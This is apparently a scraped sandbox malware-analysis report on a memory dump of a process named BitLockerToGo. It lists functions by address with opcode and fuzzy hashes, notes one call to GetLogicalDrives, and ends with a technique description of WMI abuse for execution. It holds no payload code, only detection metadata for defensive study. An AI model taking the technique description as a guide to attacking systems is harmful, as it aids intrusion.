Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e0cca39ff84fd151555c3515fd608dd66d946058cc07cd03d6a9ca66c6d7bf4
Instruction ID: 0b75c641ef86875913c7a4602837477fd66e06e7b881d18e1bf74f4f6d377190
Opcode Fuzzy Hash: 8e0cca39ff84fd151555c3515fd608dd66d946058cc07cd03d6a9ca66c6d7bf4
Instruction Fuzzy Hash: 9C719AB2A083A047D32C8F39D821377BBE29FE7301F19896ED9C65B395D6398805C746

Function 0042FB10 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 061b739078cc944f6446272cb03cb648cddea56f82afbd1ec2b5e27c8e88d9a3
Instruction ID: 00cda835a3a8aeb8ca76c1c513f600a6db5b22fd1286c69882b03dc57e62e5c7
Opcode Fuzzy Hash: 061b739078cc944f6446272cb03cb648cddea56f82afbd1ec2b5e27c8e88d9a3
Instruction Fuzzy Hash: 43816B33B596A047D328893D5C61266AE934FD2334BAEC77ED9F1C73E0D56888064349

Function 00431600 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4807037297a7e3104e2ae3dbc675ba34f87146a20a88a7aff381104f722076d
Instruction ID: db08bdad15a63e4df9f314543d4af99eb2d912985351c27f86e3b3c4355c91b9
Opcode Fuzzy Hash: d4807037297a7e3104e2ae3dbc675ba34f87146a20a88a7aff381104f722076d
Instruction Fuzzy Hash: 2E711737B69A900BD32C997C4C522A679834BDB330F2D977FA6B1873F1D96C48014359

Function 0041CC60 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3874e048970d52e5b543a5f06efacf9fa865be40d470309b55445cd8be651e1b
Instruction ID: 0a1689103dabd55f27f2e03787a13a7b13e81383c3a10f321d9325b0050b6a6c
Opcode Fuzzy Hash: 3874e048970d52e5b543a5f06efacf9fa865be40d470309b55445cd8be651e1b
Instruction Fuzzy Hash: DD711933B89A904BE3288A3C4C513AA6E934BD7330F2DC77ED9B5873D5D5694C528349

Function 0042E348 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc22dd6af61081940a3d2dd8ac2a609c6fbf4c81f4c22bb7c9dd03bae6ff5c2
Instruction ID: 6f54ec1628887ebd124369c7e01a5fce9683b9cdbba84facb4991cc2a76e656b
Opcode Fuzzy Hash: ecc22dd6af61081940a3d2dd8ac2a609c6fbf4c81f4c22bb7c9dd03bae6ff5c2
Instruction Fuzzy Hash: 49811776605B408FC314DF38D4912A6BBF2EFD9304F19C96DD5DA8B361EA38A445CB06

Function 0042E85A Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b84af9449327720d47bc5a6d1181cb27be8339f8beb1a7ba5d76c69873097f5
Instruction ID: 71dcd362bb1b85959b9f0527bcc8ea627fe0c4010d3ec26d4460f76470eb0627
Opcode Fuzzy Hash: 1b84af9449327720d47bc5a6d1181cb27be8339f8beb1a7ba5d76c69873097f5
Instruction Fuzzy Hash: 4D81D476A04B408FC314DF39D491296BBE2EF9A304F18C96DD5DA8B761EA38E445CB06

Function 0043AE90 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491e0b4e746b6ae2b26135feb799896fdafc5d05ae4958b8f668b56a95cdd03d
Instruction ID: b7783948d08f39a67ea1c3b961408871100e1d4f435334161cb92700b073aafb
Opcode Fuzzy Hash: 491e0b4e746b6ae2b26135feb799896fdafc5d05ae4958b8f668b56a95cdd03d
Instruction Fuzzy Hash: 6671A47164C3918FC715CF28C49062EBBE2AFC9314F18866EE4E58B352D739D846CB96

Function 004247A4 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b4de0d890f87869950805b59b5e99604ead4b317454bd70b553ddd3ce74cca
Instruction ID: 05809e16915fed128d931126e19dbd27adc8a27fec7a90456d3853c1e5d654cb
Opcode Fuzzy Hash: 69b4de0d890f87869950805b59b5e99604ead4b317454bd70b553ddd3ce74cca
Instruction Fuzzy Hash: DD517A76B002628FDB20CF64D8412EBF7A1EF96310F54862BC59597381E338E945DBD5

Function 0041AAD8 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac67eff1fc8808891f639f2180ed2aea8cc2f753968fdf17d4751e1f7ef00e7
Instruction ID: 3b41f08a3a3615997a235241210a21f9c2c00a8ca0b6a160b4a4c4c500019e3c
Opcode Fuzzy Hash: cac67eff1fc8808891f639f2180ed2aea8cc2f753968fdf17d4751e1f7ef00e7
Instruction Fuzzy Hash: 6D5177345127018BC7248F24C8A2773B7B2FF96320B19815DD4860F7A1F739E8A1CB8A

Function 0041A8EF Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88c03fc451623f9268d23274198f04e43c364dd01cb0c4d34e9fd8ada386ab99
Instruction ID: a7d43d3a713622c042a2e41d4a48fea9871682f3be10858a8f07de32be899553
Opcode Fuzzy Hash: 88c03fc451623f9268d23274198f04e43c364dd01cb0c4d34e9fd8ada386ab99
Instruction Fuzzy Hash: E25115B01117028BC724CF24C4A17B3B3B1FF56361B29965DD4860B7A1E338E8A1CB9A

Function 00436160 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdd1d7248006fac35233d4c2f05cd9073d205649cf1ee8f499dc35e0785e639b
Instruction ID: b0a8cd444d38c64fca3fda87be0bcf235bbc19e32bd7f61d0494594084362add
Opcode Fuzzy Hash: bdd1d7248006fac35233d4c2f05cd9073d205649cf1ee8f499dc35e0785e639b
Instruction Fuzzy Hash: A6517EB15083549FE314DF29D89435BBBE1BBC8318F054A2EE4E583390E379D6088F86

Function 0041CFB0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d82c1330955702a364d963265f3286a315896802f7bfb0e17870ce11e6f90af1
Instruction ID: 959a512eeab541835f96cd7f6e01a658626a50f912d0bdf03c47c42ea7ec9c4e
Opcode Fuzzy Hash: d82c1330955702a364d963265f3286a315896802f7bfb0e17870ce11e6f90af1
Instruction Fuzzy Hash: E1513633F59A904BD728893C4C502E66E930BE7334B3DC76AE5B1C73E4D5698C528349

Function 004198A0 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf7af7ae163016bf3a5d854131f20c3c600ee3933dded72a1a5d137a4ac266c8
Instruction ID: d25d694360d149a90b06bdb1e0254df6f0428fd2c3658b290a7790044fdb4d74
Opcode Fuzzy Hash: cf7af7ae163016bf3a5d854131f20c3c600ee3933dded72a1a5d137a4ac266c8
Instruction Fuzzy Hash: EE5136376599C047D3288A3C4C612AA6A930FD3230B3DC7AFD5B6873E5D9694C464359

Function 0042ACBD Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd67305bd78394fc8873c5d0809a5da29ccea30ea79d8d7a0a3ed3731dd7d51c
Instruction ID: 9a1f03d4dd20f9fad3c2190f3cfc6065b17ba6dda419f6486c59b63e61019088
Opcode Fuzzy Hash: dd67305bd78394fc8873c5d0809a5da29ccea30ea79d8d7a0a3ed3731dd7d51c
Instruction Fuzzy Hash: A35147756183A09BE3358F24DC90BABBBE2AFD3301F14896DE8C96B381D6394805C757

Function 0041A541 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d65df40cd549245263d1dad52dba55f689dea4e02e383ea649d3bbebee6b2713
Instruction ID: f086d3d41bd71bdc03d38f4d3bd9482c1b42cc541d618f56ef71cddd0e0e0261
Opcode Fuzzy Hash: d65df40cd549245263d1dad52dba55f689dea4e02e383ea649d3bbebee6b2713
Instruction Fuzzy Hash: 9A514432605B818BD325CF29C8906B3FBE29FA6300B28886EC0D687751E738E55A8755

Function 004029D0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4d0c9d6ab8b9dc3315b8601ac2963c6970f8dbeb2a979f22ab98ace889d458a
Instruction ID: 546ab2e6fdffafe73fe0a8b860a77a3a5cd9bd8a30b912bf61ebe424895ce4ca
Opcode Fuzzy Hash: d4d0c9d6ab8b9dc3315b8601ac2963c6970f8dbeb2a979f22ab98ace889d458a
Instruction Fuzzy Hash: 6E41DB327081564BC7288E3D9E9417AFBE29FC5308B1D877EE889E73C2D578D9019798

Function 0040DFF5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45f20214bf21905183cb1140874c278e2cd046cde042ad1ea360a6847ddd4ff
Instruction ID: 61196fbe4793393b89ebfd6a1a06c486cb46a45a7e230e91c15214dde0b2d2aa
Opcode Fuzzy Hash: e45f20214bf21905183cb1140874c278e2cd046cde042ad1ea360a6847ddd4ff
Instruction Fuzzy Hash: 2D6154B0601300CFE7209F12C991B127BB2FFA6314F169998D6454F7A6D3BAD859CF84

Function 0042C477 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e1380db867051d63d01232387ceadab44b98608807bbbf439c5b7756c3b80e
Instruction ID: 88033d5e7ac54c645a990e866b06058151a6dc4e1f8aadf696473e0c042e3f02
Opcode Fuzzy Hash: 12e1380db867051d63d01232387ceadab44b98608807bbbf439c5b7756c3b80e
Instruction Fuzzy Hash: 6D41E27150C3A187CB3A8B3994607FBB6E0AF9B700F54596DD4CA9B290E7388445878A

Function 0042631D Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109e9bb4079605bc038373af85dc7c3e2aaf762560e35345aa76a51534d7030e
Instruction ID: 04afeecb48b1b214a768d3948dde911867042464f14e443e4d2bba12f8852c97
Opcode Fuzzy Hash: 109e9bb4079605bc038373af85dc7c3e2aaf762560e35345aa76a51534d7030e
Instruction Fuzzy Hash: BF5146B5608301CFE3209F64E84672BB7E1FBC5308F06447CE589972A2EB759915DB8A

Function 0040E2A0 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523eadca2f8f90cb8c999ed215c6d81f5567a30a813d9c5a9f728960006adf37
Instruction ID: afc2794f92c05994b3311c420dd19fe8b7e392224432c73a25457092a267678c
Opcode Fuzzy Hash: 523eadca2f8f90cb8c999ed215c6d81f5567a30a813d9c5a9f728960006adf37
Instruction Fuzzy Hash: C6318C782081009BD7288F2ACC81E363766EB5A314B54497DFE52E73E2D7349C62DA9C

Function 004299F0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe1dffe9c7bb9e5a547c9ad92804e987a1c61166941838442cc42d42e2cb3cd
Instruction ID: 46e7a14e06699c740de4b2d8f0aa06f55bf302cd9dd4a660e20626605f8218f3
Opcode Fuzzy Hash: 6fe1dffe9c7bb9e5a547c9ad92804e987a1c61166941838442cc42d42e2cb3cd
Instruction Fuzzy Hash: 29313973E20A340BD7088D2DAC1126A75825BD5265F9E8379DDBA9F3C2DA34DC1692D0

Function 00421E04 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb81817b57c8e212fc39ba569fbfa121d339b614c1316ee25c8e6978c0bb8225
Instruction ID: d2e122fcdcbdefefd050c465a623d643b79a35a2d75517d1cef25498a6fcd50c
Opcode Fuzzy Hash: fb81817b57c8e212fc39ba569fbfa121d339b614c1316ee25c8e6978c0bb8225
Instruction Fuzzy Hash: 27410232A046308BD328CF29DC4176BB392BB95314F8A863CDDA59B395D7799846C7C1

Function 0043B26F Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e49c804ef2a5b017a2d39959f3e47572316032b05eecb338b3061f6419b9c818
Instruction ID: 57d3ad20d75704d68cc86176bcf351aebe7f6d28dc7e58fc948e8610e15cbfd7
Opcode Fuzzy Hash: e49c804ef2a5b017a2d39959f3e47572316032b05eecb338b3061f6419b9c818
Instruction Fuzzy Hash: BB3124B6E243005BE304CF79EC4222B76A3EBC5704F08D43EEC54A7255EB7A890A474A

Function 00419FDF Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 528efb0fd5bccd23b0dba660e7171ccaa7e16db31effe06352f8b6ebcb26164f
Instruction ID: aff035c6339e2d7a90ae2a3a5b4b83dc219d0afaa5f2daa2453facd1ed0ab710
Opcode Fuzzy Hash: 528efb0fd5bccd23b0dba660e7171ccaa7e16db31effe06352f8b6ebcb26164f
Instruction Fuzzy Hash: 5131C032610B418BC728CF38CC92663BBF1AF86328B18992DD0D7D7691D338E54AC759

Function 004205BC Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af399e730694a05470527855dc5e6ad9df6ab6c6e29d0f235fcfe056face4e4e
Instruction ID: ab51aa93e413debfba8e48ffa7466b019a51a2142e7b76fc8b74a77f7aeb7ece
Opcode Fuzzy Hash: af399e730694a05470527855dc5e6ad9df6ab6c6e29d0f235fcfe056face4e4e
Instruction Fuzzy Hash: 7A212426B0C71847E70CED79EC242BBB6C28BD4314F08C53DA69A93385EC748A095285

Function 0042A322 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f275240203ce5fe6ee62c376900e49e84225a1c9b7a845b6b17bd2011425d171
Instruction ID: 95ac7a477c975e15de8c04a5f3dc82c6c2baede9089e7f43ad5e4e5ed4275078
Opcode Fuzzy Hash: f275240203ce5fe6ee62c376900e49e84225a1c9b7a845b6b17bd2011425d171
Instruction Fuzzy Hash: 07210573F51A254BE70CCE74DA147ABA2A397D0310F0AC93D9D07AB285DABD58014396

Function 00402BA0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 303a53f8f6f0c13bc9f298785c5808cb8a276daa0cafb7ca22b80b88847c91e1
Instruction ID: 83ed0d2bc1bb73ae19c5ab5e513ff7e79650feb8db7c61828ca245b12b26e3b1
Opcode Fuzzy Hash: 303a53f8f6f0c13bc9f298785c5808cb8a276daa0cafb7ca22b80b88847c91e1
Instruction Fuzzy Hash: 3D110437B2822207F354DE36DCDC61B6352EBC631075A0436EE81E7382C6B6F905D164

Function 004088C0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc2b2449f1927ddecac5d17b1d450968763e4900f8d3fb0560b12521c0ea3983
Instruction ID: 8df3cd388e3f1a9df31b47192c90ed272165250c44be961b4d970597a5366f64
Opcode Fuzzy Hash: bc2b2449f1927ddecac5d17b1d450968763e4900f8d3fb0560b12521c0ea3983
Instruction Fuzzy Hash: 23117AB3B115108BD718CE29DC8426272D3EBC8328F6D82BED159DB291CD7ADD038784

Function 004340E0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: f344c88af0e97e3f64ab8a739a4378391849989b40d3f39e6c2aff3554da1db3
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: B5112933A055E00EC7128D3C88045A6BFE30AF7635F19539AF4F49B2D2D62ADDCA8359

Function 00428CD0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e173931c0e1061e62ec36998d8928d0e1713c0226a73d407f5cb03a3096f2a
Instruction ID: e7fc23a18c5c51c52ccf001cff0cb347413ab4b8ba78d824cfe79ad57718ca25
Opcode Fuzzy Hash: 38e173931c0e1061e62ec36998d8928d0e1713c0226a73d407f5cb03a3096f2a
Instruction Fuzzy Hash: 7A019EF170271157D760AE16B5C0B2BA2A86FA0708F58443EE94467382DF7DEC09C6A9

Function 0041E29F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38406c194eb92d85c4cc9da2f922ab00cbd32008c3846a2575a3c93c65f452a0
Instruction ID: 6560352c488c0cc1cbe0e722603f03bea2e29cffb3ea35ac0bed7bd55b1d1a39
Opcode Fuzzy Hash: 38406c194eb92d85c4cc9da2f922ab00cbd32008c3846a2575a3c93c65f452a0
Instruction Fuzzy Hash: EB118F76B112159FEB00CF6DC9016AA7BE2BB89304F15846AE808E7351DA7A99128B54

Function 0042B5BB Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41775c8a8687da6e2ae8076a84b54c37efd07f3c8797bfb19a9592e8aebfc7e6
Instruction ID: c3416db144e0931cee348b225b18a5b3d4626f4555dabc8f772ac4b01c32146e
Opcode Fuzzy Hash: 41775c8a8687da6e2ae8076a84b54c37efd07f3c8797bfb19a9592e8aebfc7e6
Instruction Fuzzy Hash: E8F0443581D7508AC72D8F54A45402BB7B1FF82B58F52242CDA8A2B331D33399618B8F

Function 00413A20 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a984843b570b7378253929d1441754c9cdf9516a4ccd76f455c2bd59a9e2d53
Instruction ID: f2ac22fbfefff821cacec86192274fb98584f81c80051fb2e57a6e434b12bc75
Opcode Fuzzy Hash: 7a984843b570b7378253929d1441754c9cdf9516a4ccd76f455c2bd59a9e2d53
Instruction Fuzzy Hash: AF01D677A413128B8324CE5CC4D06EBB3B0FF85B95B1A445ED5812F370D7319E558264

Function 0043A770 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 031cf76daef0f97509f5645b65aa1fa840631f367d85a6b49b87e32831d22bc2
Instruction ID: e67291da7be32d05bc39912814b476a9cfeb596b2505d77ff279258a03f60d40
Opcode Fuzzy Hash: 031cf76daef0f97509f5645b65aa1fa840631f367d85a6b49b87e32831d22bc2
Instruction Fuzzy Hash: 0DF086795442086FD1205F459C80D37B77EEB8E778F10121AF994123A1E726ED2297EA

Function 0042C109 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 815f779b7f74c91ae07349251a652b715847ab3060cea46ff1cca03f017bc8e9
Instruction ID: 5162a717178d96b4458f75c9750bd1e672f62e5e93e48ca58dd906d96f8ec6e0
Opcode Fuzzy Hash: 815f779b7f74c91ae07349251a652b715847ab3060cea46ff1cca03f017bc8e9
Instruction Fuzzy Hash: 8AD0C71450C7F145DF374A2550903B7BFE05F17245F8411CA80D567287C65D8215965F

Function 0043BE0A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8490e7a2a0c0c4eed188a6a73f200dd8b886305c638b2ada781b01ecca68775d
Instruction ID: 1012ec58965914f68f52c692a15329e62dc1e1454717e64e2e8a0fc4e8fbbda6
Opcode Fuzzy Hash: 8490e7a2a0c0c4eed188a6a73f200dd8b886305c638b2ada781b01ecca68775d
Instruction Fuzzy Hash: 1CC012BAE914308BCB2C8B24CC606B9A2A19A8B114B0BE3388C5D73F00E0288C0081C9

Function 00422D01 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00422D96

Strings

@@4@, xrefs: 00422C50
@@2@, xrefs: 00422C58

Memory Dump Source

Source File: 00000003.00000002.2454783758.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: DrivesLogical
String ID: @@2@$@@4@
API String ID: 999431828-865830157
Opcode ID: 4601b0908604dcb61ea30c4dea6a2c41b4de2a0c033ba0e6186b49dbd17b5b19
Instruction ID: b30ad74d6b785837ac394f441cadf76c761bfb56c6a15aa40f9ea50ff11fe3de
Opcode Fuzzy Hash: 4601b0908604dcb61ea30c4dea6a2c41b4de2a0c033ba0e6186b49dbd17b5b19
Instruction Fuzzy Hash: C151E0B4618310DFD350AF58E85162BB2B5FFC9305F48883DF6869B721E7B88905CB5A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
